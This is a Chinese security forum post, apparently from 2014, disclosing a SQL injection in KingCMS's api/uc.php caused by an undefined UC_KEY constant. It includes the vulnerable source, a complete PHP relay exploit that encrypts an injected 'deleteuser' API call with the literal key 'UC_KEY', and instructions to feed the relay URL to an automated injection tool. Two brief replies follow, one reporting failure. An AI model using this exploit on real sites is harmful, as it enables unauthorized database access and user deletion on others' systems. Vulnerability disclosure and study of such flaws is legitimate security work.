查看: 11985|回复: 2

kingcms最新版sql注入漏洞

[复制链接]
发表于 2014-2-23 23:59:06 | 显示全部楼层 |阅读模式
简要描述:
kingcms 注入漏洞
详细说明:
api/uc.php

UC_KEY没有初始化导致注入

[AppleScript] 纯文本查看 复制代码
<?php
 
 
 
define('UC_CLIENT_VERSION', '1.5.0');	//note UCenter 版本标识
 
define('UC_CLIENT_RELEASE', '20090502');
 
 
 
define('API_DELETEUSER', 1);		//note 用户删除 API 接口开关
 
define('API_RENAMEUSER', 1);		//note 用户改名 API 接口开关
 
define('API_GETTAG', 1);		//note 获取标签 API 接口开关
 
define('API_SYNLOGIN', 1);		//note 同步登录 API 接口开关
 
define('API_SYNLOGOUT', 1);		//note 同步登出 API 接口开关
 
define('API_UPDATEPW', 1);		//note 更改用户密码 开关
 
define('API_UPDATEBADWORDS', 1);	//note 更新关键字列表 开关
 
define('API_UPDATEHOSTS', 1);		//note 更新域名解析缓存 开关
 
define('API_UPDATEAPPS', 1);		//note 更新应用列表 开关
 
define('API_UPDATECLIENT', 1);		//note 更新客户端缓存 开关
 
define('API_UPDATECREDIT', 0);		//note 更新用户积分 开关
 
define('API_GETCREDITSETTINGS', 0);	//note 向 UCenter 提供积分设置 开关
 
define('API_GETCREDIT', 0);		//note 获取用户的某项积分 开关
 
define('API_UPDATECREDITSETTINGS', 0);	//note 更新应用积分设置 开关
 
 
 
define('API_RETURN_SUCCEED', '1');
 
define('API_RETURN_FAILED', '-1');
 
define('API_RETURN_FORBIDDEN', '-2');
 
 
 
define('KC_INDEX',True);
 
define('KC_CALL_FUNC',True);
 
 
 
require_once '../global.php';//加载KingCMS
 
 
 
$king->load('user');//加载用户类
 
//note 普通的 http 通知方式
 
	error_reporting(0);
 
	restore_error_handler();
 
	set_magic_quotes_runtime(0);
 
	define('ROOT', substr(dirname(__FILE__), 0, -3));
 
	defined('MAGIC_QUOTES_GPC') || define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
 
	define('UC_CLIENT_ROOT', ROOT.'user/client/');
 
 
 
	$_DCACHE = $get = $post = array();
 
//解码传入参数
 
	$code = @$_GET['code'];
 
	//var_dump(UC_KEY);
 
	parse_str(_authcode($code, 'DECODE', UC_KEY), $get);//这里没有DEF UC_KEY 所以直接把UC_KEY作为一个字符串传入
 
	if(MAGIC_QUOTES_GPC) {
 
		$get = _stripslashes($get);
 
	}
 

这样我们就能执行UC API来进行注入了



写一个中转程序进行注入







代码如下
[AppleScript] 纯文本查看 复制代码
<?php
 
    $timestamp = time()+10*3600;
 
    $host="127.0.0.1";
 
    $uc_key="UC_KEY";
 
    $code=urlencode(_authcode("time=999999999999999999999999&ids=1) and 1={$_GET['id']} and 1 =(1&action=deleteuser", 'ENCODE', $uc_key));
 
	echo file_get_contents("http://127.0.0.1//kingcms/api/uc.php?code={$code}");
 function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
 
    $ckey_length = 4;
 
 
 
    $key = md5($key ? $key : UC_KEY);
 
    $keya = md5(substr($key, 0, 16));
 
    $keyb = md5(substr($key, 16, 16));
 
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
 
 
 
    $cryptkey = $keya.md5($keya.$keyc);
 
    $key_length = strlen($cryptkey);
 
 
 
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
 
    $string_length = strlen($string);
 
 
 
    $result = '';
 
    $box = range(0, 255);
 
 
 
    $rndkey = array();
 
    for($i = 0; $i <= 255; $i++) {
 
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
 
    }
 
 
 
    for($j = $i = 0; $i < 256; $i++) {
 
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
 
        $tmp = $box[$i];
 
        $box[$i] = $box[$j];
 
        $box[$j] = $tmp;
 
    }
 
 
 
    for($a = $j = $i = 0; $i < $string_length; $i++) {
 
        $a = ($a + 1) % 256;
 
        $j = ($j + $box[$a]) % 256;
 
        $tmp = $box[$a];
 
        $box[$a] = $box[$j];
 
        $box[$j] = $tmp;
 
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
 
    }
 
 
 
    if($operation == 'DECODE') {
 
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
 
            return substr($result, 26);
 
        } else {
 
                return '';
 
            }
 
    } else {
 
        return $keyc.str_replace('=', '', base64_encode($result));
 
    }}
 
?>
 

保存为1.php

利用方法

http://127.0.0.1/x.php?id=1

丢到大萝卜里面跑就OKl饿
<code>
</code>
20142201035453699.jpg
回复

使用道具 举报

发表于 2014-2-24 09:36:26 | 显示全部楼层
又是一枚注入
回复 支持 反对

使用道具 举报

发表于 2014-2-26 19:55:24 | 显示全部楼层
木有成功呢
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

旗下站点

邮箱系统

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2025-5-1 17:43 , Processed in 0.221303 second(s), 25 queries , Gzip On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部